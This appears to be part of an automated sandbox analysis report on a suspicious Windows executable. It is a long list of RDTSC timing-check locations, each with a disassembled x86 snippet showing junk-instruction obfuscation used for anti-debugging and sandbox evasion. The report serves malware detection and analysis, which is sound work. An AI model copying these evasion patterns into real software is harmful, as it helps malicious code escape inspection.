Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 261D29 second address: 261D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jbe 00007FEAC0C35669h 0x0000000e movsx esi, di 0x00000011 push 00000000h 0x00000013 sub dword ptr [ebp+12462408h], eax 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 260E6B second address: 260E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2630E8 second address: 26310A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007FEAC0C35666h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007FEAC0C3567Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEAC0C3566Dh 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 263BF7 second address: 263C20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E537Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEAC13E5384h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 267C44 second address: 267CC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FEAC0C35668h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D19D6h], ebx 0x0000002d push 00000000h 0x0000002f jl 00007FEAC0C35671h 0x00000035 jmp 00007FEAC0C3566Bh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007FEAC0C35668h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FEAC0C3566Fh 0x0000005e rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 267CC0 second address: 267CDB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEAC13E5378h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEAC13E537Ch 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 267CDB second address: 267CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC0C35677h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26ABB2 second address: 26ABB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26ABB6 second address: 26ABD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEAC0C35679h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26ABD9 second address: 26ABDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BB48 second address: 26BB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BB4C second address: 26BB50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BB50 second address: 26BB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BB56 second address: 26BB5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E207 second address: 26E20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2701C2 second address: 2701D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E537Fh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2707E0 second address: 27086E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35673h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D1D68h], edi 0x00000012 mov dword ptr [ebp+122D186Ch], ecx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FEAC0C35668h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1784h], ecx 0x0000003a jmp 00007FEAC0C3566Dh 0x0000003f movsx edi, si 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push esi 0x00000047 call 00007FEAC0C35668h 0x0000004c pop esi 0x0000004d mov dword ptr [esp+04h], esi 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc esi 0x0000005a push esi 0x0000005b ret 0x0000005c pop esi 0x0000005d ret 0x0000005e mov edi, ecx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FEAC0C3566Bh 0x0000006a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 27086E second address: 270884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 270884 second address: 27088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEAC0C35666h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 27183B second address: 271842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 272839 second address: 2728AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007FEAC0C3566Eh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FEAC0C35668h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push 00000000h 0x0000002f add dword ptr [ebp+1244AEFCh], eax 0x00000035 push 00000000h 0x00000037 jmp 00007FEAC0C3566Fh 0x0000003c xchg eax, esi 0x0000003d push ebx 0x0000003e push esi 0x0000003f jmp 00007FEAC0C35676h 0x00000044 pop esi 0x00000045 pop ebx 0x00000046 push eax 0x00000047 pushad 0x00000048 push edi 0x00000049 push esi 0x0000004a pop esi 0x0000004b pop edi 0x0000004c push esi 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 273839 second address: 27383D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 27383D second address: 273852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FEAC0C35668h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 273852 second address: 273856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 275E86 second address: 275E91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FEAC0C35666h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 276F39 second address: 276F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FEAC13E5376h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 266CD8 second address: 266D53 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c mov di, si 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov edi, 235C5317h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 mov ebx, dword ptr [ebp+1244C406h] 0x00000028 mov eax, dword ptr [ebp+122D0D35h] 0x0000002e jmp 00007FEAC0C3566Bh 0x00000033 push FFFFFFFFh 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FEAC0C35668h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f adc bx, FD54h 0x00000054 nop 0x00000055 jng 00007FEAC0C35674h 0x0000005b jmp 00007FEAC0C3566Eh 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 266D53 second address: 266D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 266D69 second address: 266D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 269D4C second address: 269D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26ADFF second address: 26AE21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FEAC0C3566Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jng 00007FEAC0C35672h 0x00000014 jbe 00007FEAC0C3566Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BD51 second address: 26BD55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BD55 second address: 26BD6B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jp 00007FEAC0C35666h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BD6B second address: 26BD71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BD71 second address: 26BD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BE1C second address: 26BE20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BE20 second address: 26BE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BE2A second address: 26BE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26BE2E second address: 26BE3F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E37A second address: 26E37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E37E second address: 26E39E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E39E second address: 26E3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E3AA second address: 26E3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E3AE second address: 26E3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E3B2 second address: 26E3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26E3BC second address: 26E3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 270A89 second address: 270AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC0C35673h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 27DFD1 second address: 27DFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC13E5387h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 27DFEC second address: 27E00F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEAC0C35677h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2823B4 second address: 2823BE instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEAC13E5376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 273921 second address: 273967 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEAC0C35673h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FEAC0C35674h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEAC0C35675h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2823BE second address: 2823C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 273967 second address: 273A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FEAC0C35668h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov bh, 13h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b xor dword ptr [ebp+122D1986h], ecx 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jo 00007FEAC0C3566Bh 0x0000003e push eax 0x0000003f mov bx, ax 0x00000042 pop ebx 0x00000043 mov eax, dword ptr [ebp+122D001Dh] 0x00000049 jmp 00007FEAC0C35678h 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push edi 0x00000053 call 00007FEAC0C35668h 0x00000058 pop edi 0x00000059 mov dword ptr [esp+04h], edi 0x0000005d add dword ptr [esp+04h], 00000015h 0x00000065 inc edi 0x00000066 push edi 0x00000067 ret 0x00000068 pop edi 0x00000069 ret 0x0000006a jmp 00007FEAC0C35679h 0x0000006f mov dword ptr [ebp+124505C2h], ecx 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 push edx 0x0000007a jo 00007FEAC0C35666h 0x00000080 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 273A1B second address: 273A25 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEAC13E5376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28252F second address: 28253B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28253B second address: 28253F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28253F second address: 282555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35672h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 27819C second address: 2781AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEAC13E5376h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2781AE second address: 2781B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 284156 second address: 28415C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28415C second address: 284174 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEAC0C3566Ch 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 279184 second address: 279188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 284174 second address: 284178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28A622 second address: 28A63C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FEAC13E5376h 0x00000009 jnp 00007FEAC13E5376h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28A63C second address: 28A66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FEAC0C3566Dh 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FEAC0C35670h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jng 00007FEAC0C3567Eh 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28A7AE second address: 28A7CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 js 00007FEAC13E5376h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007FEAC13E537Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28A7CF second address: 28A7D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28A7D3 second address: 28A805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FEAC13E537Eh 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop edx 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b jmp 00007FEAC13E537Dh 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2148D4 second address: 2148EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC0C35675h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2148EF second address: 2148F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2148F3 second address: 2148F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2148F7 second address: 214916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEAC13E5384h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 28F7FA second address: 28F80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FEAC0C3566Ch 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2900A5 second address: 2900AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2900AB second address: 2900AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2900AF second address: 2900EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FEAC13E5378h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007FEAC13E5395h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 29025F second address: 290288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FEAC0C35678h 0x0000000b jl 00007FEAC0C35666h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 290288 second address: 290292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEAC13E5376h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 290292 second address: 290296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
